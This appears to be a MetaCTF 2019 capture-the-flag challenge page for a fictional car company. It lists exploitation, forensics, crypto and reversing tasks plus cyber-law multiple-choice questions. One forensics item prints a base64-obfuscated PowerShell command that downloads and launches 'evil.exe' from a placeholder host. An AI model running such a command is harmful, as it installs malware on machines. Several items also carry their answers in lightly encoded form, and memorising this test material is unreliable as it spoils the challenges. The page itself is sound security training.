Bonus | Help | Storyline | Scenarios | CyberChef

Buzz Buzz (solved by 18 teams) 200

As cyber defense capabilities increase, the malware they defend against does as well. A large number of malware scanners function by looking for common executable files and scanning them for malicious code. Some malware tries to evade this by using a custom executable format unknown to malware scanners.

We suspect that there is a well known cryptocurrency miner on some of our computers here at C3 using such a format. We want to configure out malware scanners to detect this! We need the first four bytes (the magic bytes) of this executable format. The flag will be the four bytes in hex with spaces separating them (for example, "4A 5C 05 00").

? Submit!

Please rate this problem:

Dictionary Dilemma (solved by 47 teams) 250

One of our old employees left all of his files encrypted with a tool it looks like he wrote himself. You can download it here. We need you to help figure out what is in one of the files. The content of the file is below.

`0c3b36317e621f343f206221202620622b3a21376222342736353d27303662332731652e3d3b3365273c3a21222a73750d2a37207532292335753d3662302721 31270d333b3721370a363727333e271a3537343f1a32332627322d203127`

? Submit!

Please rate this problem:

babybof0 (solved by 38 teams) 250

During your penetration test of the C3 infrastructure, you discover a strange service located at `binex.problems.metactf.com 5100` that is asking for an API token. You've uncovered the binary and source code code of the remote service, and discovered that it's written in a very exploitable manner. Can you find out how to make the program give you the flag?

Note: If you are having trouble connecting to the service, try using the wahoo network instead of wahoo-guest. See Roman or Jack for help on connecting to the wahoo network. They are at the helpdesk located in front of room 160.

? Submit!

Please rate this problem:

Assembly Assessment (solved by 38 teams) 275

Ok, you've gotten past the python authenticator. Now, the C3 reverse engineering team wants to give you a picture of the type of code they analyze every day. They present you with the following function:

```
0x0000000000401102 <+0>:    push   rbp
0x0000000000401103 <+1>:    mov    rbp,rsp
0x0000000000401106 <+4>:    mov    DWORD PTR [rbp-0x4],0x0
0x000000000040110d <+11>:    mov    DWORD PTR [rbp-0x8],0x5
0x0000000000401114 <+18>:    jmp    0x40111e
0x0000000000401116 <+20>:    add    DWORD PTR [rbp-0x8],0x5
0x000000000040111a <+24>:    add    DWORD PTR [rbp-0x4],0x2
0x000000000040111e <+28>:    cmp    DWORD PTR [rbp-0x4],0x13
0x0000000000401122 <+32>:    jle    0x401116
0x0000000000401124 <+34>:    mov    eax,DWORD PTR [rbp-0x8]
0x0000000000401127 <+37>:    pop    rbp
0x0000000000401128 <+38>:    ret
```

What is the return value of this function? Express your answer as a base-10 decimal number, and assume normal C calling conventions. For example, if your answer is 87 in base 10, just submit `87` as the flag.

Beware: You only have 5 attempt for this question, so make sure your answer is right before submitting it!

? Submit!

Please rate this problem:

Creds in all the wrong places (solved by 46 teams) 275

We have an app for our clients that we are in the process of improving. One of our junior developers recently re-did the login page, can you make sure he didn't make any dumb mistakes? The app is located here.

Note: This Android APK is used for two problems, so if you happen to stumble upon the other flag, you can input in the "Protecting the research" problem.

? Submit!

Please rate this problem:

Form over function (solved by 25 teams) 275

As we've been working to investigate the theft of our company's intellectual property, we think the attacker initially got into our network through social engineering. Some employees reported receiving this form that looks like it came from our HR department, but HR said they didn't make it.

If the advanced persistent threat (APT) that is attacking our company really did make this form, see what you can find out about the Microsoft account that created this form to phish your company. The flag is the email of the person that made this form.

? Submit!

Please rate this problem:

Logout-Protected Pages (solved by 4 teams) 300

You forgot the WiFi password for the company's network, so your colleague pointed you to C3's online employee knowledge base. Granted, the credentials you specified a while ago to check off that onboarding task have also been lost. Can you still get access to it?

? Submit!

Please rate this problem:

Satisfactory Qabalistic Laboratories (solved by 6 teams) 325

Your company has a bunch of lab equipment lying around for their employees' recreational use, but people are constantly taking petri dishes and not returning them or leaving test tubes dirty. Pete from HR graciously volunteered to make an internal website for reserving the equipment, but unfortunately you were banned from using it after a mishap with a microscope. You desperately need a test tube for a new project, though. Can you figure out how to log in?

? Submit!

Please rate this problem:

[Reversing/Misc] Library of secrets (solved by 19 teams) 325

During our investigation of the intrusion onto C3's networks, we found that the attackers has left this library on the system. We believe that this library contains clues as to what happened in the intrusion, however we don't know how to use or reverse this library. Could you take a look inside this library, and figure out a way to make it spill its secrets?

? Submit!

? Submit!

Please rate this problem:

Physical Penetration Test Round 2 (solved by 8 teams) 350

During your physical pen test, you successfully find your way into the building. With some social engineering, you are able to get into one of the executive's offices. You find a cabinet that looks like it would have some sensitive documents in it and want to take a look. Standing between you and those fun documents is a decent looking lock. Take a crack at it.

For this challenge, go out into the hallway and find the table with locks and lockpicking tools. Once you have picked the hard lock (ask the volunteer at the station) you will be given the flag. Happy lockpicking!

? Submit!

Please rate this problem:

babybof1 (solved by 20 teams) 350

After reporting the initial issue to the C3 executives, they implemented a patch onto the strange API token service, and restarted it at `binex.problems.metactf.com 5101`. However, looking at the binary and source code code of the patched service, you discovered that while the earlier issue was fixed, this code is still vulnerable. Can you find out how to make the program give you the flag?
Note: If you are having trouble connecting to the service, try using the wahoo network instead of wahoo-guest. See Roman or Jack for help on connecting to the wahoo network. They are at the helpdesk located in front of room 160.

? Submit!

Please rate this problem:

Hunting for the Malware (solved by 10 teams) 375

It looks like Anthony Webster left some malware on one of our computers. We've collected a full memory dump of the affected computer here. We've tried deleting his user, but it keeps coming back. We suspect one of the processes running on it has been restoring his user. Could you identify which process it is?

Note: This is the same .dmp file used in the other questions of the same vein

? Submit!

Please rate this problem:

RSA 0.5 (solved by 9 teams) 375

We have noticed a custom form of encryption being used on our networks, and we want to know more about it! We obtained the source code for this system as well as a plaintext and an encrypted version of that plaintext. We also have a ciphertext that we believe is using the same key as the prior message. Get to the bottom of it, and decrypt our ciphertext for us!

Hint: You'll need to find the modular inverse.

? Submit!

Please rate this problem:

Cross Blog Scripting (solved by 7 teams) 400

While on a penetration test, you ran across a personal blog of one of the company's executives. The site has an impact on the company reputation, so the security team decided to include it in the test. Social engineering is in scope. Can you log in as the administrator?

? Submit!

Please rate this problem:

Executor (solved by 9 teams) 400

During your penetration test on the C3 company, you've stumbled onto their execution server running on `binex.problems.metactf.com 5201`. Upon closer analysis of the service, it seems like it's sole purpose is to execute code that you enter in it! We've managed to recover the source code and binary for this executor service, now could you figure out a way to enter in code that allows you to execute commands on the remote system?
Note: If you are having trouble connecting to the service, try using the wahoo network instead of wahoo-guest. See Roman or Jack for help on connecting to the wahoo network. They are at the helpdesk located in front of room 160.

? Submit!

Please rate this problem:

Invoice (solved by 0 teams) 450

After breaching the external network, you have discovered several internal services within the C3 environment. One of these services seems to be some sort of an invoice management system, running on `binex.problems.metactf.com 5400`. However, looking through the program, we see that it's a service that is still being developed. We've managed to recover the source code and binary for this invoice service, and although it looks like there are some exploit mitigations, you and your colleagues suspect that this service might be vulnerable. Could you figure out a way to exploit the program and get the flag?
Note: If you are having trouble connecting to the service, try using the wahoo network instead of wahoo-guest. See Roman or Jack for help on connecting to the wahoo network. They are at the helpdesk located in front of room 160.

? Submit!

Please rate this problem:

Protecting the research (solved by 15 teams) 450

We have reason to believe that our competitors have been stealing some of our research and beginning work on projects similar to our secret projects. Only administrators are supposed to have access to all of our projects. Can you see if you can find a way to view our currently undergoing projects? Note, the most common way our admins view current projects is through our app.

? Submit!

Please rate this problem:

Ransomware Attack Part 1 (solved by 4 teams) 475

Oh no! C3's systems have been infected by ransomware! The intruder has encrypted several files that are critical to C3 infrastructure! We have recovered the ransomware they used, which you can find here.

The first task C3 executives want you to do is try to figure out who's behind this attack. While incident attribution is usually rare, we believe that our intruder is sloppy and have left some clues in the ransomware binary. Could you figure out where the intruder hosted their ransomware from, and find a flag in the process?

#osint

? Submit!

Please rate this problem:

Inventory (solved by 0 teams) 500

You begin scanning the internal network when you come across an inventory update server running at `binex.problems.metactf.com 5300`. After getting the source and binary for the inventory update service, you found that this server is implemented fairly well compared to what you've seen so far. However, after looking a bit closer into the code, you start to feel that something isn't quite right. Could you find out what's wrong with the program in order to exploit it and get the flag?

Note: The remote server is running libc-2.28.so., though you do not need the libc to solve this challenge. Also, If you are having trouble connecting to the service, try using the wahoo network instead of wahoo-guest. See Roman or Jack for help on connecting to the wahoo network. They are at the helpdesk located in front of room 160.

? Submit!

Please rate this problem:

Perplexing Python (solved by 4 teams) 500

Your friend's computer was infected with this virus, and he is worried that it might do something to his machine if he doesn't enter the right code. Can you find the password to stop it? Make sure to be careful.

? Submit!

Please rate this problem:

Blind Cameras (solved by 5 teams) 525

You've hired a contractor called SnoopSec to manage the security cameras around your building. As you explore their website, you see that some of their camera feeds are public. This makes you wonder how secure the rest of their site is. Are the private cameras really that private?

? Submit!

Please rate this problem:

Puzzle Pieces (solved by 0 teams) 525

Here's some puzzle pieces for you: puzzlepieces.js.

Note: The first person to solve this problem will receive the Shmoocon ticket from Rob Fuller. If no one solves the challenge, then the person that made the most progress will receive the ticket so make sure to document your work!

? Submit!

Please rate this problem:

Backdoor User (solved by 1 team) 550

It looks like Anthony Webster left some malware on one of our computers. We've collected a full memory dump of the affected computer here. In a previous problem, you find the name of the process that keeps adding his user back. Now, we need to know the username and password of the user he's been using!

Note: This is the same .dmp file used in the other questions of the same vein

? Submit!

Please rate this problem:

babybof2 (solved by 1 team) 550

After reporting the issue again to the C3 executives, they implemented yet another patch onto the strange API token service, and restarted it at `binex.problems.metactf.com 5102`. They were so confident that they even give you the libc! Looking at the binary and source code of the patched service, you discovered that they just 'fixed' it by removing the hidden function, without fixing the actual vulnerability at hand! Can you figure out how to get remote code execution on the server to get the flag?
Note: If you are having trouble connecting to the service, try using the wahoo network instead of wahoo-guest. See Roman or Jack for help on connecting to the wahoo network. They are at the helpdesk located in front of room 160.

? Submit!

Please rate this problem:

Persistent APT 2 (solved by 0 teams) 600

We have uncovered evidence that there is an Advanced Persistent Threat (APT) operating on C3's networks. We managed to capture what we believe is a piece of malware from this APT being transmitted on our network. Upon further inspection, it looks like it was an executable in some strange custom image format. We were unable to find the loader or stager for this, so it looks like you're on your own for figuring it out. Our analysts have determined that it is establishing some sort of persistence mechanism. If we're to clean up our networks, we need to know how this malware is hiding! Could you find it for us?

The flag for this section will be the data placed in the registry value discovered in Persistent APT 1. We recommend doing this problem after Persistent APT 1 and before 3.

Hint: We suggest disassembling the first couple hundred bytes. You can view a stripped version of the assembly here.

? Submit!

Please rate this problem:

C3 Assembly Part 1 (solved by 0 teams) 675

As part of the penetration test, C3 CTO Shaun Wilkins wants you to test out their flagship vehicle's architecture, a custom processor that runs C3 Machine Code! He has provided you with a manual to introduce you into the C3 assembly language, as well as a company issued virtual machine to run these custom example programs that he provided to get you acquainted with C3 assembly: helloworld.bin and quine.bin

What he wants to know from you is whether hackers can reverse their password authentication program, which is used to unlock your smart vehicle. He has provided a sample program here for you to look into. Could you figure out how to extract the plaintext password from the program?

? Submit!

Please rate this problem:

Executor's Revenge (solved by 0 teams) 750

After you reported your findings on the first executor service to C3, they released a new and improved executor service, which runs at `binex.problems.metactf.com 5202`. This time, they touted that this executor service uses the latest and greatest SECCOMP protection, which limits what syscalls you can do. Upon closer analysis of the source code and binary for this executor service, you figured out that the code now implements a stringent seccomp whitelisting rule that effectively prevents remote code execution. Could you still figure out a way to somehow leak out the flag from the remote system?

Note: Remote flag is located at /executor_revenge/flag.txt (./flag.txt works as well). Some limited brute forcing is permitted for this problem. Since the service is slow, if your exploit fails, you may just need to increase the timeout.
Note: If you are having trouble connecting to the service, try using the wahoo network instead of wahoo-guest. See Roman or Jack for help on connecting to the wahoo network. They are at the helpdesk located in front of room 160.

? Submit!

Please rate this problem:

[Ransomware-Mining] CryptoWHAT? (solved by 78 teams) no more attempts

It turns out that the attackers are indeed using the company's resources to mine bitcoin—you're getting cryptojacked. You have fancy-pants servers, though, and the attackers strike it big and mine a bitcoin. As time goes on and the FBI follows the path of that bitcoin, the FBI discovers that the bitcoin was used to purchase guns, ammunition, and explosives for an Islamic fundamentalist separatist group in the Philippines. In other words, your servers were used to mine bitcoin to fund terrorism. Can you be held liable?

Source: The Internet

Choices (Enter just the number of your answer):

1. Yes, because the law is clear that you have to maintain and protect your computing resources from cryptojacking and that its products cannot fund terrorism
2. Probably, because federal common law suggests that your allowing your servers to be cryptojacked and used to fund terrorism constitutes negligence
3. Probably not, because the chain between your actions and funding terrorism in the Philippines is too attenuated to hold you criminally liable
4. No, because cryptojacking has never appeared in court, and you cannot be held liable for something that has never appeared in court

Please rate this problem:

[Trade Secrets] Following the Rules (solved by 55 teams) no more attempts

When the FBI starts looking Webster's behavior, they realize that he's been corresponding with a Chinese national ever since he was working at C3. Two weeks later, that individual flies to the United States for business meetings unrelated to Webster. FBI agents stop the individual at LAX, and they want to search his laptop to see if it has the documents and trade secrets that Webster took from C3. Can they?

Sources:
- 4th Amendment
- United States v. Ortiz
- United States v. Cotterman

Choices (enter just the number of your answer):
1. Yes, but only because the individual is a foreign national
2. Yes, because they can seize and search anything that comes into the United States regardless of the owner's nationality
3. No, because they need a warrant
4. No, because the search is not relevant to the individual's visit to America

Please rate this problem:

Solved:

Flag Format (solved by 101 teams) 50

All flags should be obvious and a `string_separated_with_und3rscores`.

If it is not in that format, we specify what the flag format should be instead. If you solve this challenge, make sure to tell your teammates about the flag format!

Please rate this problem:

Welcome to the Connected Car Company (C3)! (solved by 101 teams) 50

Click on the Storyline button at the top to familiarize yourself and and your team to your new role as the Connected Car Company's Security Team. Make sure your whole team reads this, so they understand the background and context in which they will be working.

Please rate this problem:

Forensics, Here I Come! (solved by 101 teams) 75

Sometimes in forensics, we run into files that have odd or unknown file extensions. In these cases, it's helpful to look at some of the file format signatures to figure out what they are. We use something called "magic bytes" which are the first few bytes of a file.

What is the ASCII representation of the magic bytes for a DOS executable?

Please rate this problem:

The Crypto Team Welcomes You (solved by 101 teams) 75

Our team of cryptographers love to work their way through puzzles. Since you're new to the team, they wanted to give you a cipher to crack to get you started. CyberChef is our team's current favorite tool of choice.

`pvcure_penpxvat_yvxr_n_ceb`

Please rate this problem:

Hash Me If You Can (solved by 97 teams) 100

In support of an incident investigation, a fellow analyst sends you a bunch of hashes to check out to see if any of them are malicious. Can you identify if any of these hashes are bad?

```
61b8955ce0a2aa9d0719920b30216717b349b6fbe11c697c31cfa84f859cc1ae
fc1ae030c15a02a4ab2a1a179017bbc7bbb77b8ffe88dc599ebca6b0cf0b7f90
5cfda27455d0b6bce9cf295bd56357db4595edd50aa4296cd5838335557eae6c
ae934e0712619ff5933f271f2cbc6b02738203c539db612fb95e626b98c118ac
```

The flag is the classification that Webroot uses.

Please rate this problem:

I've Got The Magic In Me (solved by 96 teams) 100

We found this file, but there was no file extension so we're not sure what it is. Can you figure out what kind of file it is and then open it?

Please rate this problem:

Into the Crypto-Verse (solved by 100 teams) 100

Welcome to the C3 cryptography team! Our team helps consult in a variety of areas around the security department, helping to make sure our company is using proper encryption & data storage as well as sometimes in forensic investigations.

The finance team ensured us that all of their data is "properly encrypted and stored". They were so sure, in fact, that they sent you a snippet of their data to see if you could crack it: `ZW5jMGRpbmdfaXNfbjB0X3RoZV9zYW1lX2FzX2VuY3J5cHRpMG4h`

Please rate this problem:

Welcome to the Threat Intelligence Team! (solved by 100 teams) 125

Hey, it's great to have you on our team! We do a lot of different work including collecting threat information that other organizations share with us and understanding what is going on in the cyber world. We use this knowledge to help our Security Operations Center (SOC) detect any new threats to C3.

One way people share intel with us is through a format called STIX (Structured Threat Information Expression). When you have a chance, can you review this STIX report about a Chinese hacker group that might target C3? The flag will be the name of the tool that this group is using to steal emails from Microsoft Exchange Servers.

Please rate this problem:

[Pentest] Providing Legal Cover (solved by 97 teams) 125

For additional peace of mind, C3 wants you to hire a third party company to conduct penetration testing of C3 systems. The company that you approach wants to make sure that the pen testing agreement between the two companies addresses the potential legal liability they could face for hacking into your system. Which of the following concerns should be addressed in the agreement?

Sources: CFAA, Stored Communications Act, and this link

Choices:

1. Scope
2. Indemnification
3. Employee Privacy
4. A & B
5. All of the above

Please rate this problem:

May the source be with you (solved by 98 teams) 150

This looks like a nice login page. Seems secure to me. Can you figure out Leo's password?

Please rate this problem:

Mystery service (solved by 66 teams) 150

As the newest member of the C3 red team, your fellow coworkers want to test your binary exploitation knowledge. They've hidden a message for you at the IP address `binex.problems.metactf.com` at port `5500`. Could you figure out how to connect to their mystery service?

Note: unless otherwise mentioned, all binary exploitation problems are hosted on a Debian 10 environment!

Note: If you are having trouble connecting to the service, try using the wahoo network instead of wahoo-guest. See Roman or Jack for help on connecting to the wahoo network. They are at the helpdesk located in front of room 160.

Note 2: You won't be able to solve this challenge using telnet. Read the hint!

Please rate this problem:

Registry Keys...One For You, One For Me (solved by 79 teams) 150

Your team identified a rogue executable on a system. They figured out what user the executable was under and want you to check to see if the program was executed.

To do that, you can use the UserAssist keys in the registry. They keep track of programs that have executed. The only thing is that Windows stores the UserAssist keys encoded ... can you decode them?

```
{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\abgrcnq.rkr
{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\Kwqjdy\cebtenzf_pna_eha_ohg_gurl_pnag_uvqr.rkr
{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pzq.rkr
```

Bonus flag: What does the path (section in between `{ }`) translate to? (submit this answer as a bonus flag)

Please rate this problem:

Weird IPs (solved by 91 teams) 150

While doing our incident response on C3's network, we found a piece of malware that calls out to this server: `121d35ce`. We aren't able to figure out the IP address this decodes to, so can you help us figure it out? The flag is the dotted decimal representation of the IP address.

Please rate this problem:

Can Powershell please join us on the stage? (solved by 85 teams) 175

While going through some of our logs, we found this powershell command had been run. It looks kind of funky...do you think there's anything malicious in there? Can you find out?

```
C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -noP -sta -w 1 -enc
TmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwOi8vc3Q0Z2luZ19zaXRlX2QwdF9jMG1fL19ldmlsLmV4ZScsJ2V2aWwuZXhl
Jyk7U3RhcnQtUHJvY2VzcyAnZXZpbC5leGUn
```

Update: The flag is the full URL

Please rate this problem:

Concerning Vulnerability (solved by 70 teams) 175

There are a number of scanners on the Internet that will scan a website for its service versions and check that against a list of known vulnerabilities. As a business, it's important that C3 stay up to date with all of this and make sure that an attacker couldn't use a tool like that to gain insight to C3's systems. We have reports that shodan is disclosing an arbitrary code execution as a privileged user vulnerability for c3.metacorp.us. Could you look in to this and provide us with the related CVE?

Reminder that you may *NOT* attempt to exploit this or any vulnerability without explicit written permission. Doing so can get you disqualified.

Please rate this problem:

Python Authenticator (solved by 89 teams) 175

Since you're new to C3's reverse engineering team, your team lead wants to assess your reverse engineering skills. They presented you with this piece of code:

```
def hide(param):
    output = []
    for index in range(0, len(param)):
        output.append(ord(param[index]))
    return output
passcode = input("Enter the password: ")
hidden_passcode = [108,105,118,105,110,103,95,119,105,116,104,95,116,104,101,95,115,110,97,107,101]
passcode = hide(passcode)
if len(passcode) != len(hidden_passcode):
    print("Your passcode is incorrect!")
    exit()
for index in range(0, len(hidden_passcode)):
    if hidden_passcode[index] != passcode[index]:
        print("Your passcode is incorrect!")
        exit()
print("Your passcode is correct!")
```

Can you figure out the correct password for this program?

Please rate this problem:

Ruh Roh You Got Caught (solved by 85 teams) 175

As you're snooping through documents in someone's office, they walk in and catch you! They call security, and with nowhere to run you are stuck. They put you in handcuffs which makes you unable to reach into your pocket and show them your"get out of jail free" card - the signed contract from the company that proves that you were hired to test the physical security of the office.

This is a physical challenge. Walk out into the hallway and find the table with the locks and lockpicking tools. You will be put in handcuffs and you must pick your way out of the handcuffs in order to get the flag. There will be a volunteer to assist you.

Please rate this problem:

The Pattern Matcher (solved by 57 teams) 200

In order to detect malware, we can write flexible signatures/rules using a technology called YARA which is best described as a "pattern matching swiss knife for malware researchers." As more and more malicious actors have been targetting The Connected Car Company, it's important we step up our cyber defense game, and C3 CISO Olivia Chapman has asked your team to look into using YARA. Visit our C3 YARA rule creation studio and draft a basic rule to detect malware by matching on a few specific characteristics in order to get the flag.

Please rate this problem:

[Info Sharing] The data's in the cloud! (solved by 83 teams) 200

Which statute enables the U.S. government the ability to compel disclosure from U.S. based-communication based providers of data stored in servers that are located extraterritorially?

Enter your answer as the name of the statue. Case does not matter.

Please rate this problem:

On The Wire (solved by 85 teams) 225

When we're investigating potentially malicious activity on the network, we like to take a packet capture (pcap) of the network traffic.

Since you're new to the team, here's a basic pcap to get you warmed up to network analysis. There seems to be a plaintext authentication in there...can you find out what password was used?

Please rate this problem:

Persistent APT (solved by 60 teams) 225

We have uncovered evidence that there is an Advanced Persistent Threat (APT) operating on C3's networks. We managed to capture what we believe is a piece of malware from this APT being transmitted on our network. Upon further inspection, it looks like it was an executable in some strange custom image format. We were unable to find the loader or stager for this, so it looks like you're on your own for figuring it out. Our analysts have determined that it is establishing some sort of persistence mechanism. If we're to clean up our networks, we need to know how this malware is hiding! Could you find it for us?

The flag for this section will be the name of the registry value that this piece of malware is modifying. We recommend doing this problem before Persistent APT 2 and 3.

Please rate this problem:

Photo Reconnaissance (solved by 89 teams) 225

At the CIA, analysts perform all-source analysis on everything from open-source data to things gathered from their technical collection programs. They recently received a surveillance photo, but need help figuring out exactly when the photo was taken. Stop by their table to see a copy of the image. The answer choices are **4 AM**, **8 AM**, **12 PM**, **4 PM**, or **8 PM**. You only have 2 tries, so don't guess without looking!

Please rate this problem:

[Info Sharing] Hi, I'm Ciri (solved by 89 teams) 225

Suppose C3's cars included a voice-application called Ciri they designed and maintain their software that help drivers navigate to their locations. As drivers use the applications, data of these interactions, including the locations of the beginning and end of each trip, the duration of each trip, as well as any conversations between the driver and the application, are simultaneously transmitted and stored within C3's servers, ultimately to help C3 improve these applications. Would the collection and maintenance of this data be legal?

Sources:

- Pen Register Statute
- Wiretap Act
- *Griggs-Ryan v. Smith*

Choices (enter just the number of the correct choice):

1. No. Collection of data in this way could never be legal.
2. Yes, because the data is non-content.
3. Yes, because the data is content.
4. Yes, if the purchase agreement the customer signed for the car included a provision by which C3 retained the right to collect data from the car's application.

Please rate this problem:

[Nation State Attacker] We be hackin' (solved by 44 teams) 225

Legal or illegal, you're feelin' pretty fly and know you won't get caught, so you decide to hack back. You get into the system of the organization behind the APT, and you deliver a letter that you wrote that purports to be a cease and desist letter from the United States Government. What laws might you be breaking? Select all that apply (3 attempts).

Sources:

- CFAA
- Logan Act
- 18 U.S.C. 1028A - Aggravated Identity Theft
- All Writs Act

Choices (answer in the form X,Y where X is the lower of the two numbers. Ex: 5,6)

1. Computer Fraud and Abuse Act
2. Logan Act
3. 18 U.S.C. 1028A – Aggravated identity Theft
4. All Writs Act

Please rate this problem:

[Ransomware] Maybe we should have paid? (solved by 83 teams) 225

Baker decides to pay the ransom, but then the board steps in and prevents the payment. The board and the executives wrestle with what's the best course of action for the sake of keeping the now-encrypted work product, the shareholders, the employees, and encouraging or deterring similar attacks in the future. They ultimately decide not to pay the ransom, and the attackers destroy the encrypted information. Your business, reputation, and morale suffer, and the company loses value. Some disgruntled shareholders sue. Would a court likely hold the board of directors liable to the shareholders? Under what theory?

Source: ABA Guidance

Choices (Enter just the number of your answer):

1. Yes, breach of fiduciary duty
2. Yes, substantiality of harm rule
3. No, reasonable person standard
4. No, business judgment rule

Please rate this problem:

MetaCTF 2019 Feedback! (solved by 97 teams) 250

Please have EACH member of your team visit the following link to fill out a feedback form about today's event. We really appreciate your input, and it helps us to continue to improve our CTF each year!

Link: https://forms.gle/YsoRAMAayvF1pDvdA

Please rate this problem:

Physical Penetration Test Round 1 (solved by 73 teams) 250

You have been hired to perform a physical pen test on the company's facility to determine where their physical security weaknesses are. After performing extensive reconnaissance on the company perimeter and the schedule of the employees, you have determined that you will try to enter through the back gate of the facility. This gate is secured by a padlock but you're pretty sure you can pick it.

For this challenge, go out into the hallway and find the table with locks and lockpicking tools. Once you have picked the easy lock (ask the volunteer at the station) you will be given the flag. Happy lockpicking!

Please rate this problem:

There's an ear everywhere... (solved by 78 teams) 250

Anthony has some smart device called Mary in his new workplace. We have recovered some logs from the device due to some remote malware previously installed. See if you can find anything interesting in the recovered files. Log is here.

Please rate this problem:

We take your privacy and security seriously (solved by 70 teams) 250

Oh no! You know those criminals that ransomwared a whole bunch of C3's computers? Yeah, well the security team just discovered that these criminals also stole the personally identifiable information (PII) of most of our users. We think the ransomware might have just been a smokescreen hoping we wouldn't notice. According to the incident response investigation, the attackers were able to steal a large amount of sensitive info including full names, emails, phone numbers, date of birth, full credit card numbers/CVVs, and hashed passwords (salted SHA1).

In order to comply with relevant legal statutes, we need you to draft an email to all of the affected users that had their info stolen. Please send your draft to Lorenzo Hernandez (lorenzo.hernandez@metacorp.us) as soon as possible, so he can review it. If he thinks that it is good enough to send out to all of our customers and regulators, then he will reply back with the flag.

Be creative - we will randomly choose one of our favorites and award an additional 200 bonus points to that team!

Please rate this problem:

[Nation State Attacker] Chatty Hacker (solved by 77 teams) 250

As you investigate the APT, you find that somebody behind it used a unique tactical approach that you have only heard about on one other occasion. It was during a private forum discussion online, and you remember the screen name of the person who brought it up. You do some more research and find out that this person, while foreign, lives in the United States, and you capture all of the recorded online conversations with this person that you can find. You want to give this story and the contents of these conversations to the FBI, but you're worried that the FBI won't be able to use them because this person is foreign and the FBI didn't have a warrant to obtain this information. Is your hesitation correct?

Sources:

- 4th Amendment
- *United States v. Jacobsen*

Choices (enter just the number of your answer):

1. Yes, because the FBI cannot receive the contents of a private conversation from one of its participants without first obtaining a warrant, regardless of the nationality of the participants so long as the conversation took place in the United States
2. Yes, because the FBI can receive the contents of a private conversation from one of its participants without first obtaining a warrant, but only for U.S. nationals
3. No, because the FBI can receive the contents of a private conversation from one of its participants without a warrant regardless of where the parties are from
4. No, because the practice of obtaining a warrant never applies to foreigners living in the U.S.

Please rate this problem:

[Nation State Attacker] Writing the Law (solved by 77 teams) 250

Rep. Tom Graves (R-Ga.) recently introduced a bill called the Active Cyber Defense Certainty (ACDC) Act to the House that would modify the conditions under which an attacked party could hack back.

If you were the bad guy and your primary goal was to minimize the likelihood of your target hacking back (because you weren't worried about legal ramifications in the United States but you think your target would be), through what kind of intermediary computer would you route your attack?

Source: this link

Choices (enter just the number of your answer):

1. Your competitors' computers
2. Computers of foreign nationals living abroad
3. U.S. government computers
4. The DNC's computers
5. Ukraine

Please rate this problem:

Big Game Hunting 1 (solved by 47 teams) 275

In order to help protect C3's systems, Olivia asked your team to set up honeypots that might help us catch attackers in our network. We've turned on some advanced logging on the system including the `"Include process command line in process creation events"` setting. Can you analyze the first batch of logs to see if you see anything malicious?

Please rate this problem:

Caught Red Papered (solved by 62 teams) 300

While we were in the process of deleting all of Anthony Webster's accounts from C3 since he left the company, we came across his corporate Dropbox account. It seems that several of the documents in there contain sensitive C3 info and were shared publicly. In particular, we came across this Dropbox Paper document. We think it might have been accessed by people outside of the company, including our competitors. Can you take a look? The flag is the email address of the employee from a C3 competitor that accessed the document.

You might need to create a free Dropbox account in order to view the info you'll need to solve the problem. You can sign up at https://www.dropbox.com/basic if you don't have one already.

Please rate this problem:

[Info Sharing] (Data) Sharing is Caring? (solved by 54 teams) 300

Given the scenario above, could C3 provide other Auto-ISAC members with an anonymized sample of this data to help them prepare for other future cybersecurity attacks using a set of data which hackers might want to obtain?

Sources:

- Stored Communications Act
- *In re JetBlue Airways Corp. Privacy Litigation*
- Fourth Amendment
- *U.S. v. Miller, Smith v. Maryland*

Choices (submit just the number of the your answer):

1. Yes, but only to other private companies, because giving it to the DHS and the FBI would be a violation of the Stored Communications Act.
2. Yes, because C3 is not providing either remote computing services or electronic communication services.
3. Yes, but only to other private companies, because giving it to the DHS and the FBI would be a violation of the Fourth Amendment.
4. No, because C3 didn't obtain the consent of its customers to disclose this information before doing so.

Please rate this problem:

[Nation State Attacker] Hacking Back (solved by 97 teams) 100

You confirm that an APT backed by a foreign government is trying to hack you and steal your IP. You know that you don't have enough time to provide all of the details, provide them to the FBI, and wait for the FBI and the national security apparatus to neutralize the threat, and you know how to hack back. Olivia wants you to start working on it quietly while the rest of the team compiles the information for the FBI. Is that legal?

Source: The Internet

Answer with a "yes" or a "no". You only get one shot at this one!

Please rate this problem:

[Pentest] Conducting Penetration Testing (solved by 97 teams) 100

You have decided to ask a few of your employees to conduct penetration testing or "ethical hacking" of C3 systems. Are there any possible legal repercussions on the employees?

Sources: The Internet, CFAA, Stored Communications Act, and this link

Choices (submit the number of your answer):

1. No, ethical hacking is always legal.
2. Maybe, it depends on state jurisdiction.
3. Yes, the employees are breaking the law.
4. Yes, if the hacking exceeds their authorization.

Please rate this problem:

[Nation State Attacker] Setting the precedent (solved by 77 teams) 125

US law enforcement concludes its investigation into the incident. It concurs with what C3 suspected all along: That the incident was a Chinese-sponsored intelligence activity directed at C3 that was designed to unlawfully and clandestinely obtain proprietary economic information and/or critical technology. The U.S. government is considering how to respond to China. Which is the best way for it to classify the attack under international law?

Source: The Internet

Choices (enter just the number of your answer):

1. An armed attack
2. A use of force
3. As a violation of principles of economic sovereignty
4. This incident is not clearly defined in international law

Please rate this problem:

[Pentest] Phishing for the right policy (solved by 93 teams) 150

During your time at C3, you have received a number of targeted phishing emails looking to use your private information to access your company email or other proprietary technology. You also received a fake phishing email sent by C3's IT access your company email or other proprietary technology. You also received a fake phishing email sent by C3's IT department to educate employees on the cybersecurity dangers of responding to phishing emails. Are phishing emails illegal?

Sources:

- https://cofense.com/product-services/phishme/
- https://tech.newstatesman.com/business/phishing-employees
- https://resources.infosecinstitute.com/category/enterprise/phishing/phishing-countermeasures/anti-phishing-laws-regulations/#gref

Choices (submit the number of your answer):

1. Phishing emails are illegal under federal law.
2. Phishing emails are illegal in all states under state law.
3. Phishing emails are illegal in some states under state law.
4. Phishing emails are legal.

Please rate this problem:

[Pentest] The Perks of BYOD (solved by 86 teams) 150

Previously, C3 has purchased employee cell phones for work use, but now most or all of the employees already have personal devices. To cut costs but maintain security, can C3 require its employees to download additional security features on their personal devices to use them for work?

Source: https://privacyrights.org/consumer-guides/bring-your-own-device-byod-your-own-risk

Answer with the word "Yes" or "No". You only get one shot at this one!

